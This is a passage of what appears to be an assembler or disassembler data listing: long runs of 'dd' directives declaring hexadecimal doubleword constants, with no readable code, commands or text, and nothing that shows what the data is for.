0D45356h, 11626EBEh, 0FE458FAFh dd 29844D13h, 0F35CB801h, 0FCFB9C34h, 0DB486480h, 222C0044h dd 19607BADh, 0FD1D928Eh, 0F4C15B45h, 0DB07CBB2h, 0B8868860h dd 0CF280070h, 0E7C6A1B5h, 40D9B67h, 891C1988h, 1847ECE1h dd 5E591F10h, 7208C360h, 1878E09Dh, 3B101760h, 61A52269h dd 470D205Eh, 7EF300AFh, 0E73E06A1h, 0E1A65C54h, 20C37206h dd 1E518A35h, 0A9CA0Fh, 0B982E7D6h, 2C7107E6h, 89CC63Ah dd 414C0D97h, 0D5A67753h, 90B807h, 0F205D35Fh, 35426DCBh dd 887BD6h, 78EA35A0h, 0B42C0D7Eh, 5F007C38h, 3BB379FCh dd 51AA65FEh, 0A10438DAh, 57C2CA0Dh, 0BD11133h, 2BB2F8h dd 0EFDB05A7h, 0E69E8695h, 7ED7A058h, 6AF09600h, 0A33313E9h dd 40F1DD3Eh, 1D8C2419h, 86F644A5h, 0D8E0BB00h, 79AEDB35h dd 9C5118B9h, 0DEF320ABh, 965ACD0Ah, 13702099h, 9B088CBEh dd 7B26031h, 9C7AEB5Eh, 8A7C45C9h, 0D00E2D1Fh, 6D3A5A80h dd 3E37BDDh, 0F8CAA490h, 0E87F8024h, 826A5400h, 499F2C2Fh dd 36D703DEh, 0D17A3C13h, 38A1F001h, 0B96B44E6h, 33AFF3DCh dd 8069E4B8h, 889C67C3h, 9200AA60h, 6F159517h, 3A0D388Fh dd 0B430B5C7h, 169A6721h, 8529CF01h, 0C125B004h, 0F20D36F0h dd 47980094h, 0D1A1759Ch, 0C8A0B19Fh, 395454C2h, 0DC01B4C4h dd 8F35AC30h, 14642F87h, 2A69E84Ch, 0E0D42Bh, 94CB97BAh dd 7C7042Dh, 0C6DC321Dh, 9521603Eh, 3835CBE6h, 610E7596h dd 1503B4D5h, 0D023F52Ch, 169B076Ah, 12C8FD90h, 4A20B168h dd 0FE1783h, 2602DC0Ch, 541DA56Ch, 0F1D18D00h, 3C0493Ah dd 0F9D0A31Eh, 1820B5BBh, 79400289h, 6F2CFB2h, 80D3B448h dd 600471F4h, 88A63BC7h, 0DC44F2C7h, 68CC4C90h, 6C5C1279h dd 0FD420CAh, 3001F97h, 5EF51D9h, 834DE4h, 0D4E6E67h, 8CE525B5h dd 0E4A0D4EEh, 7900FF98h, 84AFBEA2h, 16AAB49h, 0E3B5B70Dh dd 204A0447h, 22607C28h, 5E9E60B0h, 493580C1h, 34A4E424h dd 318DB832h, 605FE882h, 0BB58D721h, 6A01CAC4h, 865E9779h dd 5080AA76h, 564417A1h, 3AEFFE32h, 0CD84C985h, 0C800E856h dd 9B7D4670h, 0D5E73A76h, 28086633h, 68F2F903h, 0B0361E46h dd 0C5CB58C2h, 40B68339h, 7B8101CCh, 70000844h, 1C998990h dd 0AE9338h, 3266FDA7h, 157CBCF3h, 0D0FE8C14h, 882C0A90h dd 646198E4h, 5181A080h, 405D651Ah, 9339E8E1h, 3204D877h dd 0C9A9A766h, 0FE3024A4h, 9E33015Bh, 0E084837Ah, 77182413h dd 9262591Eh, 0C19CF30Eh, 0A41B976Ah, 0AE9CD9BBh, 62E68A9Fh dd 46321194h, 95D454BCh, 0B7172EE4h, 22006F7Ch, 34E83A8Fh dd 0CBCCA1DAh, 65F47C18h, 3C676010h, 0C880E9C8h, 95A47964h dd 708C015Ah, 0E24C3FEh, 1A21BEF1h, 81D920CCh, 10024299h dd 88EEC4h, 80839456h, 1FCB199Fh, 87A51B3Dh, 13715049h dd 58C19B37h, 97F21E07h, 8FEE114Ch, 3716806Bh, 11082317h dd 0D8F576h, 4583EBCBh, 0EE89ACh, 940F7760h, 0D461EC6Ah dd 4C81EF00h, 5FF280D8h, 9F1D26A7h, 0A0C90030h, 4A5BE794h dd 0A6DF5614h, 5DC42B0h, 0AA74195Dh, 422B413h, 0DDF761FCh dd 608862FEh, 88459A00h, 6E6A2725h, 467488D1h, 0ED1A02F0h dd 0E0571912h, 2649B7A9h, 1FBCD808h, 944105Ch, 998AD94Fh dd 0AE1863B4h dd 15911604h, 9E32B68Fh, 16964B20h, 60950014h, 27726E31h dd 931B125Dh, 3AC91E5Ch, 0F5401178h, 0B1C10B62h, 63CB4075h dd 90AA076Ch, 0C4FDFB5Eh, 0FCD09996h, 9B7F7C46h, 21CC608Ch dd 78465BF9h, 5902C091h, 818E1849h, 858AC2B0h, 0D5C6A841h dd 73201A08h, 1674A0D4h, 18F5057Ah, 0CF61B7h, 0A2C274E0h dd 34007265h, 0A5AF54B3h, 0D682Eh, 0B2D28F07h, 31A3DBECh dd 0F2682AD8h, 0A87E2885h, 0E38580F4h, 0A69C912Dh, 0B046745Ch dd 220F0771h, 0E06E2B99h, 37FBC85h, 0C1B72A09h, 8F1401F1h dd 3465D973h, 0CDB92041h, 981AC080h, 835C632Eh, 143A5277h dd 0C4A82602h, 210B4800h, 0A032B244h, 0E727988h, 0CA257E26h dd 88CD83E4h, 0DB79D7C4h, 680F2A00h, 657E5459h, 0C642050Dh dd 4D6794Ah, 0FA97880h, 647AE1ABh, 0A870549Ah, 0F9E712AEh dd 0E6580877h, 2C807FC5h, 0B158DF60h, 67C5603Ch, 60FD7B79h dd 0C27CE14Dh, 1881A0A9h, 161677B0h, 2CB67F15h, 98034DFCh dd 2DA9D416h, 2891F22Ah, 8D9F84A0h, 341300D5h, 0C3A824EEh dd 0E63DA7E8h, 728B280Eh, 190E2017h, 240DF64Ch, 0BE48634Ah dd 0D3C6DD0Bh, 0E06A1886h, 0F479E446h, 0D8606862h, 0D59170h dd 917981B3h, 1297E8F1h, 20D24415h, 8B16F90h, 0F8706D81h dd 0BD630B51h, 408234D7h, 7411334Dh, 0CB048E18h, 0C6EC2D8Dh dd 9820C332h, 949CBE9h, 0F2E21F0Bh, 5E791405h, 934A8F80h dd 0B3FD0DE0h, 90006B82h, 9DA75D7Ch, 0B986FB4Bh, 18D7D11Ch dd 984A0149h, 75776E1Bh, 0F9343138h, 0B7E9802Bh, 36AFAE44h dd 0B23AF815h, 0DD2A0388h, 0BE565E8Eh, 67A3F901h, 5B384D0Bh dd 8917848h, 942CAECBh, 38E89370h, 0BA0139CBh, 5D56988Bh dd 0E2C891B2h, 70427B8Fh, 0D49C7F60h, 7963A102h, 0A97838BBh dd 98897D88h, 0F3807CB7h, 0CC919038h, 5CA30F7Fh, 0FB650767h dd 68E84887h, 0A93B80C9h, 94C6CC2Ch, 0E5945028h, 6D7ACB00h dd 3857A831h, 41192EA1h, 93A501A5h, 249A8052h, 9B00EE84h dd 1ED79121h, 1E2DB9CEh, 0CE7E97C5h, 65C21AABh, 0B46431C2h dd 8884FB1Dh, 0A8A1A542h, 52C8912Ch, 0CC65FA12h, 0D60D0E4h dd 6401B467h, 28266B04h, 0EC459A9Eh, 2715B809h, 56416278h dd 0A031B1BBh, 4DE021F0h, 3018E0BCh, 29A1513Ah, 18DB8C31h dd 21E2B058h, 0EA2B5A34h, 0A2590A0h, 0B00B34Bh, 0FB9DD853h dd 0A3CD93h, 410DC9D2h, 326E103Ch, 21B05709h, 6D9480CEh dd 0E249258Dh, 1E0B262Ch, 983288E8h, 0C849A11Fh, 2974A3D3h dd 2D55F8F4h, 108B287h, 49DADBACh, 589C8AFEh, 46507190h dd 90AC6EB7h, 0DFCA44h, 0DEA94669h, 4F225E48h, 0A460D670h dd 137B09C9h, 0F7620005h, 0C590E7CBh, 5F00AD96h, 0D4D1E0E2h dd 17C01388h, 21B7FF58h, 0B004E0h, 50EF265Eh, 0EDCC60B4h dd 97EAF200h, 9EFC5601h, 0DB3B6D5Ah, 0F34471A8h, 0CB088C18h dd 0C4DC2C9Bh, 0E79A40A8h, 976ADFCBh, 9F74C8D8h, 1ADE1717h dd 0B1C85804h, 2328E602h, 58083051h, 0CBE1FA9h, 2919AD2Bh dd 77F9B2EEh, 1EFBA1E0h, 38381320h, 0E00E119h, 85841F5h dd 78092F5Dh, 40723C13h, 266F54B4h, 4F4B88Dh, 0E7AD7C8Ah dd 0BD3208Ch, 0A442782Eh, 5660ECC0h, 0A7B1AF60h, 5085B031h dd 27E3A81Ah, 0D0396290h, 203C04DAh, 408B4609h, 8D41CFD8h dd 3095B442h, 8110465Ch, 0F6E1969Bh, 26C02E74h, 0D240C4h dd 0B93B09FFh, 0B76C21A3h, 1B010892h, 7C7E08B3h, 1089789Fh dd 0A025A880h, 79708033h, 0BAE614F5h, 0D45E3601h, 88469C38h dd 8CD44931h, 0A42D288Fh, 0AC5C5C9Ch, 450D6402h, 40E88E59h dd 9049725Eh, 3E247610h, 958B4087h, 0F3B8908Fh, 0F0A10378h dd 9D8408F2h, 9A078100h, 93B5EA51h, 53A9008Ah, 190B96Bh dd 0CF24E848h, 0C70544B0h, 5C80DB79h, 1E5EE30Dh, 0B8DA214h dd 0DCAFE5A7h, 2E503380h, 0B27CE68Bh, 13619860h, 7E80321Ah dd 0D2A22611h, 22EC0074h, 25D96066h, 0DB4F0AFEh, 0C48C0053h dd 6DD300DDh, 6B787D74h, 3118DB95h, 8F598D85h, 3528008Ch dd 6E78F27Fh, 0CF3DDB18h, 49C980C8h, 0A0307DF1h, 0AEF638h dd 31C39951h, 0A942D51Ch, 27F8F61Dh, 82F17401h, 0D37829h dd 38548718h, 8F7A753h, 0EF763B0Fh, 9A7D002Dh, 6F40591h dd 5F8FDC85h, 8060082Eh, 917F1C21h, 1A57029Eh, 3A02586Ah dd 0F8D01A40h, 755D9318h, 81F7D469h, 112DD1DBh, 160C508Ch dd 4E1912Ch, 64113421h, 917AB80Eh, 2E85AA0h, 0C818F3E0h dd 2AC899FBh, 634B00F9h, 7F8BA945h, 3C32192Dh, 0B5AD70F5h dd 0D7BF0E34h, 0CDF18D81h, 526FECE0h, 6D90D0ECh, 2A2C4850h dd 65DC191Bh, 29B1F078h, 43610124h, 0F4325554h, 2F68F8D8h dd 31470303h, 0A838A741h, 1EA46097h, 8CC402C9h, 0F90809B0h dd 716FCB0Dh, 42F02A19h, 18D8600Bh, 920E6402h, 48CEC703h dd 8656FF15h, 214D6008h, 0DE91F695h, 0B017F00Ch, 0FAC5116h dd 58D374E2h, 0A0B19EE7h, 0A777CF93h, 0C71B1A03h, 0F9FC5137h dd 49806710h, 0D2D070ABh, 2C0F6177h, 296087h, 0B6CEAABBh dd 8AE24C6Bh, 0D318FC3Eh, 3227C1F4h, 504CAB00h, 0F94B7804h dd 0C0159855h, 5661C450h, 0A401254Ah, 0ECD820DBh, 2DD11F33h dd 3E2A2180h, 0C2B8994Ah, 678E9500h, 1DF417FEh, 0C9036351h dd 31E6CCADh, 53478D1Bh, 0B04CD480h, 0B300F909h, 0EAA51CDh dd 0CEBA45Ah, 0F799401Eh, 88033C21h, 0B12760B2h, 57A8233Dh dd 0B4A4003h, 191F92A4h, 282C1088h, 36851D4Ah, 0D9B141DBh dd 700CA112h, 9B30E3E5h, 0B606296Ah, 9DF299h, 0F2ABFBDEh dd 0E623F807h, 6C7A1E00h, 6103476Ah, 0ADA307E5h, 823341C3h dd 0A8939919h, 0ED14BEB0h, 77DC4F07h, 8BC7865h, 0E21C0FAh dd 1A761456h, 0B0EAA100h, 84907D58h, 0D9BB88E5h, 95777200h dd 248316E6h, 5A662738h, 6FC99CC0h, 119BF11Fh, 0FC4F88CAh dd 0CDC06186h, 602CF841h, 88CF19C3h, 0E3F09515h, 0EFB022h dd 39A63222h, 0F5852730h, 8978733h, 6C2105FBh, 0C349A619h dd 0B2A06B17h, 8106AC75h, 0F3E7604Dh, 0E3590669h, 0E04A4C36h dd 25845150h, 14C2048Ch, 62BC5009h, 0DA1220FDh, 9438FF14h dd 0C0A08019h, 0E5FEAFD8h, 0C1D6622Ch, 10616640h, 0C8BC4655h dd 261FF746h, 0A3309FA6h, 0C800FA11h, 2717A60Dh, 640F2DCBh dd 0E49BE22Fh, 748E3E05h, 0C2C23B88h, 7532C05Bh, 0E34B0368h dd 815DC656h, 305820A0h, 6550B3Ch, 8AEBE232h, 4454A768h dd 0A2356037h, 60780AC1h, 42ECCFC0h, 2424C931h, 6BE5D887h dd 4923302Eh, 0F8E9833Ah, 0BF229FB5h, 0E281984Ah, 8013D41Dh dd 0E28DBED0h, 804C9123h, 0E9015D26h, 97F2D33Ch, 0ACC0AE00h dd 870AC7F0h, 9222062Fh, 31E684B2h, 0D8B5513Ch, 91DE18C5h dd 4A04336h, 3680B10Ch, 8E188E0Eh, 33C13003h, 60815FF9h dd 24071995h, 0AD5710CFh, 0A48826B0h, 0E7F000B9h, 0D891EC23h dd 8B125CA6h, 5400B26Eh, 0CE6A0E89h, 0F8AF4808h, 0F3D7880h dd 430F80EAh, 826C7DA3h, 4CF6C394h, 0A61D0434h, 621F303Ch dd 24C920FFh, 780144A6h, 0CB362F3Bh, 61A06CEBh, 2BC46D0h dd 0A41E4A43h, 104E3123h, 4A2B13h, 80E877C8h, 73665BFAh dd 0E9814C04h, 88857Eh, 8B1D008Dh, 0E79E5FB1h, 8E0AEBCCh dd 0AC67C8B3h, 0BB8F1411h, 0E34FDD1Dh, 39000111h, 3BA71453h dd 33185E19h, 0FD96DB0h, 0F271C03Dh, 95CF3F62h, 494C9A0Fh dd 30298B2Eh, 38920970h dd 2246CEBCh, 1184005Eh, 83B94B92h, 0BB1DBC89h, 30A8E64Ch dd 0F4A46126h, 58322340h, 0E4DF3BB2h, 4EE8D448h, 2825008Ch dd 8982267Fh, 230050BBh, 24D67847h, 0F04352EDh, 984E3022h dd 3EBBADE9h, 448441CAh, 2153900Eh, 3B0FEFFCh, 0D3EEA980h dd 0BB96E05Fh, 0DF8C8500h, 1C58294Ch, 88271E09h, 0E80306AEh dd 0C41E319Bh, 1A5532F2h, 14C580C8h, 8C94500Eh, 3B21FC60h dd 39DD14BDh, 0A6007293h, 0A8D2B73Ah, 0E030AE42h, 0C7225938h dd 8B0B105h, 848C6CE1h, 7EB549D3h, 0D2F70246h, 3E9FBE03h dd 0B110A060h, 0A6233E86h, 392F3016h, 0A60ACC04h, 0E51F08E4h dd 7F426F58h, 0A262524Eh, 25C406A0h, 4C4005CCh, 0F4C0721h dd 0D8004868h, 62950CDEh, 3F452h, 29DD897Dh, 0EA7E5BC3h dd 0A00081E4h, 60949831h, 5820D26Ch, 34F8F454h, 0B140008Ch dd 0F3423BCAh, 0A664D243h, 3C609348h, 0A4241F4Ah, 8073C42Bh dd 0F04A24h, 0C1042C69h, 3FC806B0h, 44635E2Ch, 18CE4674h dd 2119CE0h, 79A09142h, 0CA7184Dh, 0B3B02F2Dh, 0EC009449h dd 0A0F8B1EEh, 905DCFh, 0CC85912Bh, 5FEA2E0Dh, 3E524171h dd 91F20134h, 13E8CEC3h, 89C6D422h, 3D0042FAh, 5D11494Ah dd 0C4B27B22h, 8C60E271h, 0F2453D4h, 453C442Ah, 0BE2030h dd 4709325Fh, 2037B94Ch, 4008FF00h, 2C2B66B8h, 0D8E4B11Fh dd 86C401h, 0D90A941Bh, 0CBAF9178h, 80C0B24Ch, 0C8534212h dd 30CE0FBDh, 0A6E06C59h, 89F6738h, 6E7F3B01h, 2E58ECB7h dd 4AC8884Bh, 94178FC0h, 30F400F5h, 0CA121BCFh, 0AE043E20h dd 0E8596210h, 64798882h, 610A3028h, 3DABBC41h, 50272B8h dd 0EDD1FA7Dh, 37E5602Eh, 0C4E80239h, 3F523B0Bh, 18D95041h dd 314A0B3Ah, 0E41C3BA4h, 74422624h, 0BCB0F006h, 927F2962h dd 180479ACh, 0FD7C00DCh, 9C1B629Fh, 10305AA9h, 4E30C150h dd 0FA7E08Dh, 9A7911CAh, 0AEC20881h, 0C7898024h, 0ADD6ED2Eh dd 0B7675807h, 77BEF804h, 2150A639h, 8C8790C1h, 8C52F80Ch dd 18114AFAh, 358833A4h, 4A290180h, 69781DF6h, 800449D4h dd 1C72822h, 7F253EF1h, 0D0CCE0EBh, 72EF1481h, 0A1C90050h dd 0CE56A766h, 9F203C60h, 0DB785304h, 0F2E0B2A0h, 0A610305Ch dd 79FB8600h, 0B3921F55h, 99656149h, 80AD5322h, 0ACCC5AB1h dd 0D19DE8h, 7E6947C1h, 5F7DFC0Ch, 60C2EC00h, 55F7CDD6h dd 0C5750756h, 63320E26h, 71023E10h, 0E796865Ch, 3F6CC055h dd 1A7F001Eh, 34B09456h, 6C5043AEh, 774513Ch, 310AD80h dd 8C322E7Eh, 88BD62BEh, 6800DFC0h, 427F6C4Dh, 4A605B59h dd 27F441C0h, 0EC80B0A5h, 31C0540Bh, 0CBCE7D44h, 0E65700A9h dd 2FB42A2Ch, 0A801B53Ch, 1605E2A7h, 1830BAFAh, 30988D1h dd 22845701h, 0B18795D8h, 90F91980h, 0CB385FC8h, 12D083F1h dd 2242C07Fh, 0EC3A6AC8h, 997D0090h, 0EE1DD89Eh, 31F200F6h dd 4B241A47h, 0AE184ABEh, 0F73136CCh, 0B8B754AFh, 51FA0066h dd 3E1E207Eh, 0EF0626E5h, 57AE3CCDh, 0C1C43BD1h, 8498C7BFh dd 0A25C99CEh, 0BF55E00h, 2DC6E1A7h, 0AAF30C9Eh, 25988E8h dd 8D402494h, 6E8699h, 7EF42C5Eh, 122D4903h, 15A5F013h dd 0B1690820h, 59BA0085h, 387663C6h, 5B0057CEh, 0A0274CAAh dd 326FEE2h, 2E5DFFA5h, 0E699B5A1h, 57D44834h, 24058974h dd 0A5594048h, 0CC5D2280h, 946B529Bh, 0FE8D0F70h, 0F280C323h dd 7D82D1B3h, 0E81855EEh, 0CA2951AEh, 0C1DC03EBh, 0CC6B6C23h dd 7111C0F0h, 449EB600h, 0ED1E22FBh, 46CA0FF8h, 780B12F1h dd 0C187F810h, 579BD500h, 0E4D8BE79h, 0CEA5860h, 590B5883h dd 12EFB100h, 8F90C108h, 1CBF013Fh, 7FD2CAB8h, 0B6B447C9h dd 65E6F812h, 98A22F00h, 23DFD1D4h, 51CA6084h, 78BD6ADBh dd 0E8737B70h, 60FDA809h, 44A8C9E5h, 39D891h, 0D6FE6ADDh dd 3C72359h, 8504F18Ch, 88957FB3h, 0EC004B18h, 37EAC275h dd 1D74C80Ah, 9124A2h, 95EF31FEh, 1A02195Eh, 0F6C5D429h dd 0E68810Ah, 0FEF4158Dh, 0CBE00091h, 46175A36h, 6C04A44Ch dd 2EF388D7h, 711EC8F2h, 186D4792h, 271AA069h, 7939CD6Eh dd 8E218013h, 0D46FBA6h, 92D20054h, 0B6471A9Dh, 22744B88h dd 89432F00h, 56DBB23Ch, 3479581Eh, 3827742Dh, 0F7CB0E8h dd 9500E1A8h, 4E10E95Ah, 58A42D73h, 3D00743Eh, 0E3142147h dd 4A0378FAh, 6BE5EFCDh, 1EA1033Ah, 0E312AAECh, 5547BFA0h dd 80D89F48h, 0D21D5E4Ah, 0F9E80071h, 7B882E75h, 0E23CC1EFh dd 87E90CCCh, 3E6149D4h, 5600D5DAh, 7E352E9Ah, 27247B99h dd 5D1CE842h, 0E9C0DE9Dh, 1F027456h, 40844E1Dh, 0D4BF346Ch dd 0A9E8EDA2h, 3671CB03h, 268E79A0h, 1586468h, 2CE5F616h dd 44AF124Ah, 3C07C64h, 4E01CAAAh, 6B98821Fh, 39008F27h dd 0E98ED87h, 7E6479h, 1DABB1ECh, 60CDF4E9h, 6C52E74Eh dd 0F0214430h, 0E07200D7h, 0BDE6D6F1h, 10B8BE24h, 44EC1D00h dd 47945888h, 3B4F4410h, 34499C00h, 0D5761A11h, 50400BA0h dd 7848AEDAh, 0A9013D1Ch, 5FF15E55h, 1980239Bh, 0F4F0BCB7h dd 0E2F6D30Fh, 0D4F69DE8h, 4E798003h, 0F3FD6A9Fh, 46690055h dd 814C6E97h, 0CC384FA7h, 28F582DAh, 8140250Fh, 0D04575ACh dd 0B9D91D0h, 58FDE329h, 3AFB181Bh, 0C3B6CC90h, 3F8D8209h dd 2444F7h, 96848962h, 87C0EC5Bh, 72560A00h, 23E61552h dd 1A499B0h, 3AFA4EBCh, 0B001FF09h, 2ED77477h, 706018C5h dd 0AA4A91Ah, 16289048h, 65B946h, 0F5C532B7h, 0DF09B5F7h dd 10AFFB0Bh, 7E92B3C8h, 201F3D15h, 7C511400h, 0B1F71BBCh dd 37983902h, 0E35BA3E0h, 0B3B5F09Ch, 20755B10h, 0E1193594h dd 0F0439A00h, 904621A0h, 105F01B8h, 33FC5407h, 3FA8201Ch dd 9F503CE7h, 3CABE4C0h, 1C4C52A1h, 0C2A79C5Fh, 0AE897A7Fh dd 0B5F3D490h, 0A5193E00h, 0FC28BB84h, 0EBB60096h, 85B2F165h dd 0B223953h, 104A1F5Ah, 3008809Dh, 6FB45C77h, 7F57EC00h dd 17810993h, 0A68F124Ah, 88C40446h, 24048D6h, 37F08684h dd 54277842h, 0C931802Ch, 0D77AAA2h, 0FA39C000h, 0C212DB62h dd 1C698824h, 20E46000h, 6D864364h, 0A1321E56h, 7B49B084h dd 400DEF9h, 7C0613BCh, 74D393h, 181D55F5h, 9A19715Ch dd 0A126D500h, 9B2714E0h, 59201E48h, 44D02EAEh, 96F687F0h dd 0CD00111Fh, 41A17F46h, 6253ADh, 0DE936EE3h, 36BA8F0Eh dd 8EF49948h, 0B157E7D2h, 3C2A2EC0h, 3A1712Fh, 606B4C18h dd 2902F6E6h, 0C1BBEA8Fh, 4079D0h, 0B4E86E51h, 0E9167C7Ah dd 0D430D1B5h, 16C95466h, 3199033Fh, 40DCBC70h, 66A2FCB7h dd 79144E1Ch, 5F0747A6h, 2057260Eh, 28EF0F6h, 45C13E32h dd 78D11333h, 0A701DB26h, 0EC3FB4BBh, 0E5C5FC8h, 366D8B79h dd 297CD820h, 2601EFC8h, 4A1FBAA2h, 54299B3Dh, 0CC38D33Eh dd 5ECE7000h, 0B8F8AA7Ch, 0A954E600h, 9AD394DEh, 99FE29D1h dd 0EDA00D0h, 95375FB9h, 22869F00h, 979DB45h, 63C90007h dd 0FA962AD6h, 30397752h, 0DD4380EFh, 61253AAAh, 0B4A4BEh dd 8CC08829h, 0F2651615h, 80F4AF48h, 77BF5C68h, 4A9E0037h dd 75E1A6Ch, 4F08B599h, 80D0B2ADh, 0C14E1B55h, 3207524Ch dd 79BC223Ch, 8896B620h, 41820E35h, 7C4003E3h, 10AB6CF6h dd 107758h, 87CB8FB5h, 298D95C0h, 9DA819D6h, 0AA823C22h dd 85C6F63h, 62F01243h, 0B500E803h, 5F2AA4C0h, 4CED4A47h dd 6A80A09Bh, 6287BBBAh dd 3E9C96h, 0DC8E73E5h, 410E8CDh, 48B3B4F6h, 385134h, 72DEA765h dd 3C76A6CAh, 0EE004233h, 0A9D6CC4Dh, 3B3A4F22h, 0A8B3794Eh dd 0B2919607h, 61367640h, 1A241C74h, 11E18057h, 2E7CCCE9h dd 0B0E64FB0h, 0E989454h, 0B9DEBA00h, 0CAB7E3F7h, 0D3440386h dd 6BBD304Ah, 7E0158AEh, 0D260AE71h, 2864E4BAh, 0F0CF749Dh dd 50364C93h, 803F5B14h, 76433D00h, 49F31BAEh, 25502748h dd 95A0A099h, 301DE561h, 0B4508F43h, 0CB49BC5h, 5DCA1280h dd 0CB2F1Ah, 0F5AE2ACEh, 2865F867h, 72B38307h, 1DB6C541h dd 0A0A30031h, 0A11C14B7h, 0DC3CC9CFh, 94C68118h, 3CAE794Ah dd 0CE1B2980h, 736BC784h, 9B98A700h, 0D295C8A8h, 9C21003Dh dd 23DC094Eh, 383D07F6h, 0A227001Ch, 0F2795995h, 58472C06h dd 78A43B54h, 839F10F8h, 986CF320h, 2E7CE93Dh, 24AF3Ah dd 18702A84h, 2C00D8ECh, 0C075F069h, 7C49DB1Dh, 40D4B42Dh dd 3EB6B4E4h, 0EBBF7007h, 29F05DAFh, 0A808B121h, 0E22CC0ECh dd 2B8C1E65h, 0AE6600A8h, 306059D1h, 432CBC94h, 68AAB109h dd 76EFD18h, 7FEF977Ah, 0A6EC7128h, 0F4F83057h, 29AEAF30h dd 0F89340Fh, 91ACE80Ch, 47D05A20h, 46013A23h, 0D13194D7h dd 44406622h, 0ADA60E2h, 8C938348h, 167E0088h, 84C873FAh dd 0F50910EFh, 0E8AD0060h, 0EC21FAAh, 0F8074A64h, 0BEA1E5B1h dd 4048AEE1h, 4901742Dh, 3FDC2557h, 446210h, 1922FB23h dd 0EF487DFh, 0A9A81ED1h, 7C6043EFh, 4E1D7A2Ch, 9A007C91h dd 0AECA1E4Bh, 35A60256h, 295567F7h, 697ED880h, 0CF01320Ch dd 376E3421h, 682D1059h, 0E10A5E00h, 0CB1F4874h, 0B3176300h dd 0CD14A25Ah, 3E6B0E44h, 0C896E5FCh, 5884C0F4h, 1F222C56h dd 74420B0h, 168B2582h, 4902AC64h, 9C4ECD83h, 0A37C80AEh dd 127188D9h, 0FF0456h, 3CAD89A8h, 0C00FF5E9h, 2CE670B4h dd 1479D7h, 1DC15FBEh, 607A47CFh, 94B0B958h, 70B6C0E4h dd 0FC56EA03h, 710E00A2h, 525A9D30h, 42137A6Ch, 188854AEh dd 3FD73A48h, 0C20CB009h, 1905A810h, 0B673C090h, 0F53D2F00h dd 0A994DB68h, 0ABEB064Ch, 71FDB08Dh, 0BC002F7Ah, 2D71C69Ch dd 2EFA60h, 131F56BDh, 0B4AAA3E2h, 0B8D17800h, 7BDFA5DEh dd 2B8E065Ah, 10AC4435h, 0E9A3CD00h, 0BB73D1C6h, 28B8F184h dd 523BE207h, 0D26E04Fh, 4802C8EFh, 0C9FBFA01h, 0A3EEC0FDh dd 0C3BC0BE4h, 62005570h, 0AC24CFD9h, 58D2E832h, 8B9E60A5h dd 0C5B017Eh, 0BC59E5AFh, 0C885D474h, 0D1114106h, 1399E1FFh dd 37D27h, 0A6F58F97h, 0CC63825Ah, 733BA49h, 3A37D199h dd 8EBE50B0h, 4E3CB99Bh, 72EDD81Fh, 3C3CD450h, 0E5B35100h dd 0FDE0B590h, 7E5A1886h, 0B90D21DCh, 0D1E8AF18h, 0FE35AC11h dd 12320398h, 0E228AAB3h, 0D96A9400h, 2AEB973Bh, 0B9EA18F2h dd 0F3D58986h, 0FD8BF103h, 0F0A9F9FFh, 84A835h, 0F0AB5D4Bh dd 0D193A7CAh, 9E0D2C0Bh, 0F81D8062h, 0C75BB3D0h, 0C6C62DF1h dd 40F6517Fh, 0C759A02Eh, 57927A00h, 63945DBh, 0BA473C29h dd 0C500292Eh, 7D85EA87h, 0A1DB48h, 6324C44Eh, 0E8C68375h dd 252DDC01h, 485AE7BCh, 0BD5F7840h, 0D0A01494h, 1780B8B5h dd 2D478791h, 972A7F0Ah, 3743C4C6h, 89D1E8E2h, 7C5C7B43h dd 0F7DA80C9h, 6C0A107h, 1D80AB96h, 283BD3E0h, 645FC6h dd 0EAD84043h, 8D55117h, 0F0A2FF0Fh, 80033E22h, 0E07BA688h dd 0C04D3506h, 0A0C6CD71h, 1B5C246Ch, 1F272C45h, 162D3D00h dd 50D14D2Eh, 0FA4A0F7h, 40873581h, 0D0D9CD4Dh, 25006864h dd 0A67DB4EFh, 0FF5EF4BFh, 0BC9E9Eh, 0A3174198h, 12007454h dd 20FF0E5Dh, 638CE913h, 0D6438171h, 0E044C4F9h, 0CE009E12h dd 0AEF53EE3h, 8D71FDh, 0FF2DF67Ah, 0CFC006B3h, 5AC6760Ch dd 334F180h, 0C161D5F2h, 3B98B956h, 318D82Eh, 16615F97h dd 36E00096h, 63141EEBh, 0BF06D046h, 0D6E83725h, 0EFB1DC9h dd 49FD411Ah, 0E8545E0Bh, 0BB311C87h, 1EED6981h, 760863E8h dd 72540BCFh, 5A871270h, 48E00643h, 50BB5D24h, 0A16FE440h dd 14ED3ABDh, 53D92280h, 0F4B5761h, 0B223E702h, 44B86AF7h dd 0F4981FACh, 4A6D0374h, 79B965A0h, 0F8BAC984h, 8988D8EBh dd 59C00070h, 7F154F9Fh, 171E228Bh, 49B6BAC5h, 39FAB2h dd 9B410691h, 7D75A373h, 8F31D23Ah, 4EBE45h, 60BFB67Ah dd 915300A6h, 5B270DA0h, 60A0B861h, 0CC0039F3h, 92A40776h dd 16789B3h, 0F8802ACFh, 0F02E7379h, 0FA20D0A9h, 0B87B125Ch dd 602840ADh, 821C0D6Bh, 8A90F51Fh, 82A0E80h, 99B4D03Dh dd 0F94D0184h, 40C68C94h, 4EF8A408h, 0BB8DEA06h, 18CE0Dh dd 0B4D1EC88h, 42B8A003h, 0D5479A00h, 4E7C8350h, 20AE079Bh dd 295C4055h, 86198880h, 973004A0h, 0DF859C7h, 21DB0AB7h dd 80A4DAEBh, 6F492985h, 0E5099A52h, 98FBD0CBh, 112D16D0h dd 12C86135h, 42745C6h, 92251550h, 731214A8h, 3F0054B8h dd 0F3A0D3CBh, 793A8948h, 12F20388h, 9819ED9Bh, 186F153Eh dd 69C3B9D1h, 0FBF06BF3h, 493C5550h, 0BA0CAC91h, 0BD7138h dd 0F59CC884h, 0EAECE0F6h, 612F9000h, 8C802823h, 8E68031Bh dd 0B1DC2AC2h, 0B870B11Eh, 0AC943822h, 0CC154A00h, 4FEE3805h dd 0A8D65400h, 470B6D95h, 39CB60B8h, 0E840F8ABh, 89A960Fh dd 0BA71E07Dh, 91BBD370h, 0AFD880D8h, 4152616Ah, 51215800h dd 0AE813D6h, 17074C54h, 5D001B3Dh, 0C7BF2260h, 8C012A24h dd 25A7B2B4h, 9CE086C4h, 12730027h, 0A3305EB6h, 5502D1E7h dd 0F5290E76h, 9210C1C9h, 88806C20h, 0E824C002h, 88240ECCh dd 5CC07C47h, 2792A18h, 0EA8113F0h, 684012B8h, 7235A5FFh dd 0A4808845h, 0A3C9B1h, 25B49762h, 4D15E708h, 360058B1h dd 0CCEC86C6h, 40010179h, 76396DF4h, 0CAC448B8h, 8B2BDE1Fh dd 19FC1180h, 